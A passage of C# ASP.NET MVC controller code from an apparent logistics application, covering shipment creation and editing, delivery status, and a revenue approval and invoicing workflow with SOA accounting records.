ShipmentModel ShipmentModel1 = new ShipmentModel();
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(125);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(125);
IEnumerable<User> userList = UsersServices1.GetAll(x => !x.RoleName.Equals(UsersModel.Positions.Director) && !x.RoleName.Equals(UsersModel.Positions.Accountant));
GetDefaultData();
ShipmentModel1.CountryDeparture = 125;
ShipmentModel1.CountryDestination = 125;
ShipmentModel1.ServiceId = 3;
ShipmentModel1.QtyUnit = "KGS";
ViewData["Services"] = Services;
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["UserName"] = User1.FullName;
ViewData["Units"] = new SelectList(unitService.GetAll(x => x.ServiceType == "Air").OrderBy(x => x.Unit1).ToList(), "Unit1", "Unit1");
ViewData["Carriers"] = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
ShipmentModel1.Dateshp = DateTime.Now.ToString("dd/MM/yyyy");
return View(ShipmentModel1);
}
[HttpPost]
public ActionResult Create(ShipmentModel ShipmentModel1, String submitType)
{
ShipmentModel1.VoucherId = null;
ShipmentModel1.IsTrading = false;
GetDefaultData();
if (ModelState.IsValid)
{
try
{
ShipmentModel1.DepartmentId = User1.Department.Id;
ShipmentModel1.SaleId = User1.Id;
ShipmentModel1.CompanyId = User1.ComId.Value;
ShipmentModel1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
ShipmentModel1.ServiceName = servicesType.FindEntity(x => x.Id == ShipmentModel1.ServiceId).SerivceName;
ShipmentServices1.InsertShipment(ShipmentModel1);
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
catch (Exception e)
{
Logger.LogError(e);
ViewData["Services"] = Services;
return View(ShipmentModel1);
}
}
else
{
string messages = string.Join("; ", ModelState.Values
.SelectMany(x => x.Errors)
.Select(x => x.ErrorMessage));
Logger.LogError(messages);
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDeparture);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDestination);
IEnumerable<CarrierAirLine> carriers = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["UserName"] = User1.FullName;
ViewData["Units"] = new SelectList(unitService.GetAll(x => x.ServiceType == "Sea").OrderBy(x => x.Unit1).ToList(), "Unit1", "Unit1");
ViewData["Carriers"] = carriers;
ViewData["Services"] = Services;
}
return View(ShipmentModel1);
}
#endregion
#region Edit shipment
private void InitService(String ServiceName)
{
List<CarrierAirLine> Carriers = new List<CarrierAirLine>();
List<CarrierModel> JsonUnitsDS = new List<CarrierModel>();
if (ShipmentModel.Services.AirInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.AirOutbound.ToString().Equals(ServiceName))
{
Carriers = carrierService.GetAllByType(CarrierType.AirLine.ToString()).ToList();
}
else if (ShipmentModel.Services.SeaInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.SeaOutbound.ToString().Equals(ServiceName))
{
Carriers = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
}
else
{
Carriers = carrierService.GetAll().ToList();
}
List<Unit> UnitsDS = new List<Unit>();
if (ShipmentModel.Services.AirInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.AirOutbound.ToString().Equals(ServiceName))
{
UnitsDS = unitService.GetAll(x => x.ServiceType.Equals("Air")).ToList();
}
else if (ShipmentModel.Services.SeaInbound.ToString().Equals(ServiceName) || ShipmentModel.Services.SeaOutbound.ToString().Equals(ServiceName))
{
UnitsDS = unitService.GetAll(x => x.ServiceType.Equals("Sea")).ToList();
}
else
{
UnitsDS = unitService.GetAll().ToList();
}
ViewData["Units"] = new SelectList(UnitsDS.OrderBy(x => x.Unit1).ToList(), "Unit1", "Unit1");
ViewData["Carriers"] = Carriers;
}
public ActionResult Edit(int id)
{
ShipmentModel ShipmentModel1 = ShipmentServices1.GetShipmentModelById(id);
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
//ShipmentModel1.LockShipment = LookShipment(Shipment1);
if (Shipment1 == null || (Shipment1.IsLock != null && Shipment1.IsLock.Value) || !User1.IsOwnner(Shipment1.SaleId.Value))
{
return RedirectToAction("DetailShipment", new { Id = Shipment1.Id });
}
GetDefaultData();
ViewData["Services"] = Services;
//ShipmentModel1.Id = id;
ViewData["UserName"] = User1.FullName;
ShipmentModel1.CountryDeparture = (Shipment1.Area != null && Shipment1.Area.CountryId != null) ? Shipment1.Area.CountryId.Value : 0;
ShipmentModel1.CountryDestination = (Shipment1.Area1 != null && Shipment1.Area1.CountryId != null) ? Shipment1.Area1.CountryId.Value : 0;
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDeparture);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDestination);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
InitService(ShipmentModel1.TypeServices.SerivceName);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
if (ShipmentModel1.IsMainControl)
{
LoadViewUserInConsol(ShipmentModel1);
ViewBag.ListMember = ShipmentServices1.GetListMemberOfConsol(ShipmentModel1.Id);
}
return View(ShipmentModel1);
}
private void LoadViewUserInConsol(ShipmentModel ShipmentModel1)
{
var users =
UsersServices1.GetQuery(
x =>
!x.Department.DeptFunction.Equals(UsersModel.Positions.Administrator.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Director.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Accountant.ToString())
&& x.IsActive == true)
.OrderBy(x => x.FullName).ToList();
var listAll = users;
var listSelect = new List<SelectListItem>();
if (ShipmentModel1.UserListInControl != null && ShipmentModel1.UserListInControl.Count >= 0)
{
listSelect.AddRange(from userId in ShipmentModel1.UserListInControl
select UsersServices1.getUserById(userId)
into u
where u != null
select new SelectListItem()
{
Value = u.Id.ToString(),
Text = u.FullName
});
}
ViewBag.UserList = listAll;
ViewBag.UserListSelect = listSelect;
}
private bool LookShipment(Shipment Shipment1)
{
if (Shipment1.CreateDate != null && (Shipment1.CreateDate.Value.AddDays(60).CompareTo(DateTime.Now) <= 0) && (Shipment1.IsLock == null || !Shipment1.IsLock.Value))
{
Shipment1.IsLock = true;
Shipment1.LockDate = DateTime.Now;
ShipmentServices1.UpdateAny();
return true;
}
else
return false;
}
public ActionResult DetailShipment(int id)
{
ShipmentModel ShipmentModel1 = ShipmentServices1.GetShipmentModelById(id);
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
GetDefaultData();
//ShipmentModel1.LockShipment = LookShipment(Shipment1);
ShipmentModel1.Id = id;
ViewData["UserName"] = UsersServices1.getUserById(Shipment1.SaleId.Value).FullName;
ShipmentModel1.CountryDeparture = Shipment1.Area != null ? Shipment1.Area.CountryId.Value : 0;
ShipmentModel1.CountryDestination = Shipment1.Area1 != null ? Shipment1.Area1.CountryId.Value : 0;
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDeparture);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDestination);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
InitService(ShipmentModel1.TypeServices.SerivceName);
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Services"] = Services;
viewDocument(Shipment1);
return View(ShipmentModel1);
}
private void viewDocument(Shipment Shipment1)
{
if (Shipment1.ArriveNotices != null && Shipment1.ArriveNotices.Count > 0)
{
ViewData["ArriveNotice"] = "ArriveNotice";
}
if (Shipment1.BillLandings != null && Shipment1.BillLandings.Count > 0)
{
ViewData["BillLanding"] = "BillLanding";
}
}
private void UpdateBonusRevenue(long id, string type)
{
var revenew = ShipmentServices1.getRevenueModelById(id);
revenew.SaleType = type;
revenew.BonRequest = getBonRequest(type);
revenew.BonApprove = (int)revenew.BonRequest;
ShipmentServices1.UpdateRevenue(revenew);
}
[HttpPost]
public ActionResult Edit(ShipmentModel ShipmentModel1, int id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
ViewData["Error"] = string.Empty;
ViewData["Services"] = Services;
if (ModelState.IsValid)
{
try
{
ShipmentModel1.DepartmentId = Shipment1.DeptId;
ShipmentModel1.SaleId = Shipment1.SaleId.Value;
ShipmentModel1.CompanyId = Shipment1.CompanyId.Value;
if (ShipmentModel1.LockShipment)
{
ShipmentModel1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Locked.ToString();
}
ShipmentModel1.RevenueStatus = Shipment1.RevenueStatus;
if (Shipment1.RevenueStatus == "Submited" || Shipment1.RevenueStatus == "Approved")
{
ShipmentModel1.Dateshp = Shipment1.DateShp != null
? Shipment1.DateShp.Value.ToString("dd/MM/yyyy")
: "";
}
var serviceType = servicesType.FindEntity(x => x.Id == ShipmentModel1.ServiceId);
if (serviceType != null)
Shipment1.ServiceName = serviceType.SerivceName;
ShipmentServices1.UpdateShipment(ShipmentModel1);
if (ShipmentModel1.IsTrading)
{
UpdateBonusRevenue(Shipment1.Id, Shipment1.SaleType);
}
}
catch (Exception exception)
{
Logger.LogError(exception);
string messages = string.Join("; ", ModelState.Values
.SelectMany(x => x.Errors)
.Select(x => x.ErrorMessage));
Logger.LogError(messages);
GetDefaultData();
if (ShipmentModel1.IsMainControl)
{
LoadViewUserInConsol(ShipmentModel1);
}
var svType = servicesType.GetModelById(ShipmentModel1.ServiceId);
InitService(svType.SerivceName);
return View(ShipmentModel1);
}
}
else
{
string messages = string.Join("; ", ModelState.Values
.SelectMany(x => x.Errors)
.Select(x => x.ErrorMessage));
Logger.LogError(messages);
ViewData["Error"] = messages;
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDeparture);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(ShipmentModel1.CountryDestination);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["Services"] = Services;
GetDefaultData();
if (ShipmentModel1.IsMainControl)
{
LoadViewUserInConsol(ShipmentModel1);
}
var svType = servicesType.GetModelById(ShipmentModel1.ServiceId);
InitService(svType.SerivceName);
return View(ShipmentModel1);
}
return RedirectToAction("Edit", new { id = id });
}
public ActionResult UpdatePOD(long id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
Shipment1.isDelivered = true;
Shipment1.DeliveredDate = DateTime.Now;
ShipmentServices1.UpdateAny();
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
public ActionResult CancelPOD(long id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
Shipment1.isDelivered = false;
ShipmentServices1.UpdateAny();
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
public ActionResult Delete(int id)
{
ShipmentServices1.DeleteShipment(id);
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
[HttpPost]
public ActionResult Delete(int id, FormCollection collection)
{
try
{
// TODO: Add delete logic here
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
catch
{
return View();
}
}
#endregion
private SelectList SaleTypes
{
get
{
try
{
List<String> SaleTypes = new List<string>();
IEnumerable<SaleType> SaleTypeIe = UsersServices1.getAllSaleTypes(true);
foreach (SaleType sale1 in SaleTypeIe)
{
SaleTypes.Add(sale1.Name);
}
return new SelectList(SaleTypes);
}
catch (Exception e)
{
}
return new SelectList(new List<String>());
}
}
private void displayActions(Shipment Shipment1)
{
bool isAllowSubmit = !(Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString())
|| Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Locked.ToString()));
bool isApproved = Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString());
bool isAllowApproveOrLock = !(Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Pending.ToString())
|| Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Locked.ToString()));
var isSale = (User1.Id == Shipment1.SaleId.Value) && isAllowSubmit;
ViewData["SalesAction"] = isSale;
ViewData["DirectorAction"] = User1.AllowApproRevenue && isAllowApproveOrLock;
ViewData["AccountAction"] = UsersModel.Functions.Accountant.ToString().Equals(User1.Department != null ? User1.Department.DeptFunction : "") && (isApproved || isAllowApproveOrLock);
}
#endregion
#region Revenue
public ActionResult RevenueCommon(long id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
displayActions(Shipment1);
User SubmitUser = UsersServices1.getUserById(Shipment1.SaleId.Value);
ViewData["SubmitName"] = "";
ViewData["SubmitDate"] = "";
ViewData["DateShp"] = Shipment1.DateShp.Value.ToString("dd/MM/yyyy");
var settingTax = UsersServices1.getTaxCommissiong();
var taxs = settingTax == null ? "10" : settingTax.DataValue;
ViewData["TaxRate"] = int.Parse(taxs.Trim());
if ("SeaInbound".Contains(Shipment1.ServicesType.SerivceName))
{
ViewData["DateShpLabel"] = "ETA";
}
else if ("SeaOutbound".Contains(Shipment1.ServicesType.SerivceName))
{
ViewData["DateShpLabel"] = "ETD";
}
else
{
ViewData["DateShpLabel"] = "DATE";
}
if (SubmitUser != null && Shipment1.SubmitDate != null)
{
ViewData["SubmitName"] = "Submit by : " + SubmitUser.FullName;
ViewData["SubmitDate"] = "Submit date : " + (Shipment1.SubmitDate != null ? Shipment1.SubmitDate.Value.ToString("dd/MM/yyyy HH:mm:ss") : "");
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["ShipperRevenue"] = Shipment1.Customer1 != null ? Shipment1.Customer1.FullName : string.Empty;
ViewData["CneeRevenue"] = Shipment1.Customer != null ? Shipment1.Customer.FullName : string.Empty;
ViewData["POLPOD"] = Shipment1.Area != null ? (Shipment1.Area.AreaAddress + " / " + Shipment1.Area1.AreaAddress) : string.Empty;
ViewData["HBill"] = Shipment1.HouseNum;
ViewData["MBill"] = Shipment1.MasterNum;
//ViewData["SFreights"] = Shipment1.SFreight;
ViewData["Quantity"] = Shipment1.QtyNumber + "X" + Shipment1.QtyUnit;
ViewData["AgentRev"] = Shipment1.Agent != null ? Shipment1.Agent.AbbName : string.Empty;
ViewData["AgentRevId"] = Shipment1.Agent != null ? Shipment1.Agent.Id : 0;
ViewData["CarrierRev"] = Shipment1.CarrierAirLine != null ? Shipment1.CarrierAirLine.AbbName : string.Empty;
ViewData["SaleType"] = Shipment1.SaleType;
ViewData["SaleTypes"] = SaleTypes;
GetDefaultData();
RevenueModel RevenueModel1 = ShipmentServices1.getRevenueModelById(id);
if (RevenueModel1 != null)
{
SubmitUser = UsersServices1.getUserById(RevenueModel1.ApproveId != null ? RevenueModel1.ApproveId.Value : 0);
ViewData["ApproveName"] = "";
ViewData["ApprovedDate"] = "";
if (SubmitUser != null && Shipment1.ApprovedDate != null)
{
ViewData["ApproveName"] = "Approve by : " + SubmitUser.FullName;
ViewData["ApprovedDate"] = "Approved date : " + (Shipment1.ApprovedDate != null ? Shipment1.ApprovedDate.Value.ToString("dd/MM/yyyy HH:mm:ss") : "");
}
SubmitUser = UsersServices1.getUserById(RevenueModel1.AccountId != null ? RevenueModel1.AccountId.Value : 0);
ViewData["AccountName"] = "";
if (SubmitUser != null)
{
ViewData["AccountName"] = "Invoice Issued by : " + SubmitUser.FullName;
}
RevenueModel1.Id = id;
ViewData["TaxCommission"] = RevenueModel1.Tax;
}
if (RevenueModel1 == null)
{
RevenueModel1 = new RevenueModel();
RevenueModel1.BonRequest = getBonRequest(Shipment1.SaleType);
RevenueModel1.BonApprove = (int)RevenueModel1.BonRequest;
RevenueModel1.Id = id;
RevenueModel1.PaidToCarrier = Shipment1.CarrierAirId.Value;
RevenueModel1.InvAgentId1 = 141;
RevenueModel1.InvAgentId2 = 141;
RevenueModel1.SRate = 0;
RevenueModel1.Shipment = Shipment1;
RevenueModel1.IsControl = Shipment1.IsMainShipment;
RevenueModel1.SaleType = Shipment1.SaleType;
}
RevenueModel1.SaleType = RevenueModel1.BonApprove > 0
? getSaleType(RevenueModel1.BonApprove)
: getSaleType(RevenueModel1.BonRequest);
ViewData["SaleType"] = RevenueModel1.SaleType;
viewDocument(Shipment1);
var history = historyService.GeModelLasted(id, new RevenueModel().GetType().ToString());
ViewBag.HisgoryMessage = history == null ? string.Empty : history.HistoryMessage;
if (Request.IsAjaxRequest())
{
return PartialView("_RevenueDetailAcctView", RevenueModel1);
}
return View(RevenueModel1);
}
public ActionResult Revenue(long id)
{
return RevenueCommon(id);
}
public ActionResult PrintRevenue(long id)
{
return RevenueCommon(id);
}
private double getBonRequest(String Type)
{
IEnumerable<SaleType> list = UsersServices1.getAllSaleTypes(true);
foreach (SaleType sale in list)
{
if (sale.Name.Equals(Type))
{
return Convert.ToDouble(sale.Value.Value);
}
}
return 0;
}
private String getSaleType(double value)
{
IEnumerable<SaleType> SaleTypes = UsersServices1.getAllSaleTypes(true);
foreach (SaleType SaleType1 in SaleTypes)
{
if (Convert.ToDouble(SaleType1.Value).Equals(value))
{
return SaleType1.Name;
}
}
return ShipmentModel.SaleTypes.Handle.ToString();
}
private void UpdateRevenueControl(Revenue Revenue1)
{
if (Revenue1.Shipment == null || Revenue1.Shipment.ShipmentRef == null) return;
if (Revenue1.Shipment.IsMainShipment == true)
{
Revenue1.IsControl = true;
}
ShipmentServices1.UpdateRevenueOfControl(Revenue1.Shipment.ShipmentRef.Value);
}
[HttpPost]
public ActionResult Revenue(RevenueModel RevenueModel1, long id, String RevenueAction)
{
try
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
Revenue Revenue1 = ShipmentServices1.getRevenueById(RevenueModel1.Id);
RevenueModel1.SaleType = getSaleType(RevenueModel1.BonApprove);
RevenueModel1.Shipment = Shipment1;
viewDocument(Shipment1);
displayActions(Shipment1);
var settingTax = UsersServices1.getTaxCommissiong();
var taxs = settingTax == null ? "10" : settingTax.DataValue;
var history = historyService.GeModelLasted(id, new RevenueModel().GetType().ToString());
ViewBag.HisgoryMessage = history == null ? string.Empty : history.HistoryMessage;
ViewData["TaxRate"] = int.Parse(taxs.Trim());
var bonApproval = RevenueModel1.BonApprove;// parseFloat(jQuery("#BonRequest").val().replace(/\,/g, ''));
var earning = RevenueModel1.Earning;//parseFloat(jQuery("#Earning").val().replace(/\,/g, ''));
var amountBonus2 = bonApproval * earning / 100;
RevenueModel1.AmountBonus2 = Convert.ToDecimal(amountBonus2);
if (Revenue1 != null)
{
Revenue1.EXRemark = RevenueModel1.EXRemark;
Revenue1.INRemark = RevenueModel1.INRemark;
Revenue1.SaleType = RevenueModel1.SaleType;
}
var action = new string[]
{
"Submit",
"AccountantCheck"
};
if (!action.Contains(RevenueAction))
HistoryWirter(RevenueAction, id);
else
{
if (Revenue1 != null && Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Submited.ToString()))
{
var dbModel = RevenueModel.ConvertModel(Revenue1);
var obj1 = RevenueCalculateViewModel.ConvertModel(dbModel);
var obj2 = RevenueCalculateViewModel.ConvertModel(RevenueModel1);
obj1.AmountBonus1 = Math.Round(obj1.AmountBonus1, 2);
obj1.AmountBonus2 = Math.Round(obj1.AmountBonus2, 2);
obj2.Tax = obj1.Tax;
List<string> listMessage;
var check = obj1.DeepEquals(obj2, out listMessage);
if (!check && listMessage.Any())
{
string message = string.Format("{0}/ {1} / {2}: ", DateTime.Now.ToString("HH:mm"),
User1.FullName,
"Submit".Equals(RevenueAction)
? "Revised" : "Request");
message += ";" + string.Join(";", listMessage);
HistoryWirter(RevenueAction, id, message, true);
RevenueModel1.IsRevised = message.Contains("Revised");
RevenueModel1.IsRequest = message.Contains("Request");
}
else
{
RevenueModel1.IsRevised = false;
RevenueModel1.IsRequest = RevenueAction.Equals("AccountantCheck");
HistoryWirter(RevenueAction, id);
}
}
}
if ("Close".Equals(RevenueAction))
{
Session[REVENUE_ID] = Shipment1.Id;
return RedirectToAction("Index");
}
if ("Cancel".Equals(RevenueAction))
{
if (Shipment1 != null)
{
if (Revenue1 != null)
{
Revenue1.IsRevised = false;
Revenue1.IsRequest = false;
Revenue1.ApproveId = (long?)null;
Revenue1.SaleType = RevenueModel1.SaleType;
}
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
Shipment1.ApprovedDate = null;
Shipment1.SubmitDate = null;
ShipmentServices1.UpdateAny();
if (Shipment1.IsControl && !Shipment1.IsMainShipment)
{
ShipmentServices1.UpdateMainShipmentStatus(Shipment1.ShipmentRef.Value);
}
}
Session[REVENUE_ID] = Shipment1.Id;
return RedirectToAction("Index");
}
if ("GetBack".Equals(RevenueAction))
{
if (Shipment1 != null)
{
if (Revenue1 != null)
{
Revenue1.IsRevised = false;
Revenue1.IsRequest = false;
Revenue1.SaleType = RevenueModel1.SaleType;
}
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
Shipment1.SubmitDate = null;
ShipmentServices1.UpdateShipment();
}
return RedirectToAction("Revenue", new { id = id });
}
if ("Approve".Equals(RevenueAction))
{
if (Shipment1 != null)
{
RevenueModel1.IsRevised = false;
RevenueModel1.IsRequest = false;
RevenueModel1.ApproveId = User1.Id;
ShipmentServices1.UpdateRevenue(RevenueModel1);
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Approved.ToString();
Shipment1.ApprovedDate = DateTime.Now;
if (Shipment1.IsControl)
{
ShipmentServices1.UpdateMainShipmentStatus(Shipment1.ShipmentRef.Value);
}
ShipmentServices1.UpdateAny();
//UpdateRevenueControl(Revenue1);
}
Session[REVENUE_ID] = Shipment1.Id;
return RedirectToAction("Index");
}
if ("Update".Equals(RevenueAction))
{
ShipmentServices1.UpdateAny();
Session[REVENUE_ID] = Shipment1.Id;
if (Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Pending.ToString()))
{
ShipmentServices1.UpdateRevenue(RevenueModel1);
Revenue1 = ShipmentServices1.getRevenueById(RevenueModel1.Id);
//(Revenue1);
}
return RedirectToAction("Revenue", new { id = id });
}
if (ModelState.IsValid)
{
RevenueModel1.Tax = Convert.ToInt32(UsersServices1.getTaxCommissiong().DataValue);
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Submited.ToString();
Shipment1.SubmitDate = DateTime.Now;
ShipmentServices1.UpdateRevenue(RevenueModel1);
ShipmentServices1.deleteSOAInvoice(RevenueModel1.Id);
ShipmentServices1.deleteSOAStatistic(RevenueModel1.Id);
RevenueModel1.InvAgentId1 = RevenueModel1.InvAgentId1 ?? 141;
Revenue1 = ShipmentServices1.getRevenueById(RevenueModel1.Id);
#region Accounting
if (RevenueModel1.InvAgentId1 != null && RevenueModel1.InvAgentId1.Value.Equals(RevenueModel1.InvAgentId2.Value))
{
SOAInvoice SOAInvoice1 = new SOAInvoice();
SOAInvoice1.AgentId = RevenueModel1.InvAgentId1.Value;
Agent Agent1 = agentService.GetById(SOAInvoice1.AgentId);
SOAInvoice1.AgentName = Agent1.AgentName;
SOAInvoice1.Amount1 = RevenueModel1.InvAmount1;
SOAInvoice1.TypeNote1 = RevenueModel1.InvType1;
SOAInvoice1.Currency1 = RevenueModel1.InvCurrency1;
SOAInvoice1.Amount2 = RevenueModel1.InvAmount2;
SOAInvoice1.TypeNote2 = RevenueModel1.InvType2;
SOAInvoice1.Currency2 = RevenueModel1.InvCurrency2;
SOAInvoice1.RevenueId = RevenueModel1.Id;
SOAInvoice1.ShipmentId = RevenueModel1.Id;
SOAInvoice1.DateUpdate = DateTime.Now;
SOAInvoice1.DateShp = Shipment1.DateShp;
ShipmentServices1.insertSOAInvoice(SOAInvoice1);
}
else
{
SOAInvoice SOAInvoice1 = new SOAInvoice();
SOAInvoice1.AgentId = RevenueModel1.InvAgentId1.Value;
Agent Agent1 = agentService.GetById(SOAInvoice1.AgentId);
SOAInvoice1.AgentName = Agent1.AgentName;
SOAInvoice1.Amount1 = RevenueModel1.InvAmount1;
SOAInvoice1.TypeNote1 = RevenueModel1.InvType1;
SOAInvoice1.Currency1 = RevenueModel1.InvCurrency1;
SOAInvoice1.Amount2 = 0;
SOAInvoice1.TypeNote2 = "";
SOAInvoice1.Currency2 = "";
SOAInvoice1.RevenueId = RevenueModel1.Id;
SOAInvoice1.ShipmentId = RevenueModel1.Id;
SOAInvoice1.DateUpdate = DateTime.Now;
SOAInvoice1.DateShp = Shipment1.DateShp;
ShipmentServices1.insertSOAInvoice(SOAInvoice1);
SOAInvoice SOAInvoice2 = new SOAInvoice();
SOAInvoice2.AgentId = RevenueModel1.InvAgentId2.Value;
Agent Agent2 = agentService.GetById(SOAInvoice2.AgentId);
SOAInvoice2.AgentName = Agent2.AgentName;
SOAInvoice2.Amount1 = 0;
SOAInvoice2.TypeNote1 = "";
SOAInvoice2.Currency1 = "";
SOAInvoice2.Amount2 = RevenueModel1.InvAmount2;
SOAInvoice2.TypeNote2 = RevenueModel1.InvType2;
SOAInvoice2.Currency2 = RevenueModel1.InvCurrency2;
SOAInvoice2.RevenueId = RevenueModel1.Id;
SOAInvoice2.ShipmentId = RevenueModel1.Id;
SOAInvoice2.DateUpdate = DateTime.Now;
SOAInvoice2.DateShp = Shipment1.DateShp;
ShipmentServices1.insertSOAInvoice(SOAInvoice2);
}
//SOA statistic
SOAStatistic SOAStatistic1 = new SOAStatistic();
SOAStatistic1.AgentId = RevenueModel1.InvAgentId1.Value;
SOAStatistic1.ShipmentId = RevenueModel1.Id;
SOAStatistic1.DateUpdate = DateTime.Now;
SOAStatistic1.DateShp = Shipment1.DateShp;
SOAStatistic1.TypeNote = RevenueModel1.InvType1;
SOAStatistic1.Currency = RevenueModel1.InvCurrency1;
SOAStatistic1.Amount = RevenueModel1.InvAmount1;
ShipmentServices1.insertSOAStatistic(SOAStatistic1);
SOAStatistic SOAStatistic2 = new SOAStatistic();
SOAStatistic2.AgentId = RevenueModel1.InvAgentId2.Value;
SOAStatistic2.ShipmentId = RevenueModel1.Id;
SOAStatistic2.DateUpdate = DateTime.Now;
SOAStatistic2.DateShp = Shipment1.DateShp;
SOAStatistic2.TypeNote = RevenueModel1.InvType2;
SOAStatistic2.Currency = RevenueModel1.InvCurrency2;
SOAStatistic2.Amount = RevenueModel1.InvAmount2;
ShipmentServices1.insertSOAStatistic(SOAStatistic2);
#endregion
//UpdateRevenueControl(Revenue1);
}
else
{
GetDefaultData();
return View(RevenueModel1);
}
}
catch (Exception ex)
{
Logger.LogError(ex);
}
return RedirectToAction("Revenue", new { id = id });
}
public ActionResult CancelRevenue(long id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
if (Shipment1 != null)
{
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
ShipmentServices1.UpdateShipment();
}
return RedirectToAction("Revenue", new { id = id });
}
public ActionResult ApproveRevenue(long id)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
if (Shipment1 != null)
{
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Approved.ToString();
RevenueModel RevenueModel1 = ShipmentServices1.getRevenueModelById(id);
RevenueModel1.ApproveId = User1.Id;
ShipmentServices1.UpdateRevenue(RevenueModel1);
//ShipmentServices1.UpdateShipment();
}
return RedirectToAction("Revenue", new { id = id });
}
public ActionResult RevenueDetail(long id)
{
return RevenueCommon(id);
}
[HttpPost]
public ActionResult RevenueAccount(RevenueModel RevenueModel1, long id)
{
if (ModelState.IsValid)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(id);
Revenue Revenue1 = ShipmentServices1.getRevenueById(id);
ShipmentServices1.deleteInvoiceByRev(id);
Revenue1.AccountId = User1.Id;
Revenue1.AccInv1 = RevenueModel1.AccInv1;
Revenue1.AccInv2 = RevenueModel1.AccInv2;
Revenue1.AccInv3 = RevenueModel1.AccInv3;
Revenue1.AccInv4 = RevenueModel1.AccInv4;
Revenue1.AccInvDate1 = null;
Revenue1.AccInvDate2 = null;
Revenue1.AccInvDate3 = null;
Revenue1.AccInvDate4 = null;
Revenue1.EXRemark = RevenueModel1.EXRemarkHidden;
Revenue1.INRemark = RevenueModel1.INRemarkHidden;
if (Shipment1 == null)
{
return View("Revenue", RevenueModel1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate1) && !StringUtils.isNullOrEmpty(Revenue1.AccInv1))
{
Revenue1.AccInvDate1 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate1);
Shipment1.IsInvoiced = true;
InvoideIssued Invoice1 = new InvoideIssued();
Invoice1.RevenueId = id;
Invoice1.ShipmentId = id;
Invoice1.InvoiceNo = Revenue1.AccInv1.Trim();
Invoice1.Date = Revenue1.AccInvDate1;
ShipmentServices1.insertInvoice(Invoice1);
}
if (!StringUtils.isNullOrEmpty(RevenueModel1.AccInvDate3) && !StringUtils.isNullOrEmpty(Revenue1.AccInv3))
{
Revenue1.AccInvDate3 = DateUtils.Convert2DateTime(RevenueModel1.AccInvDate3);
Shipment1.IsInvoiced = true;
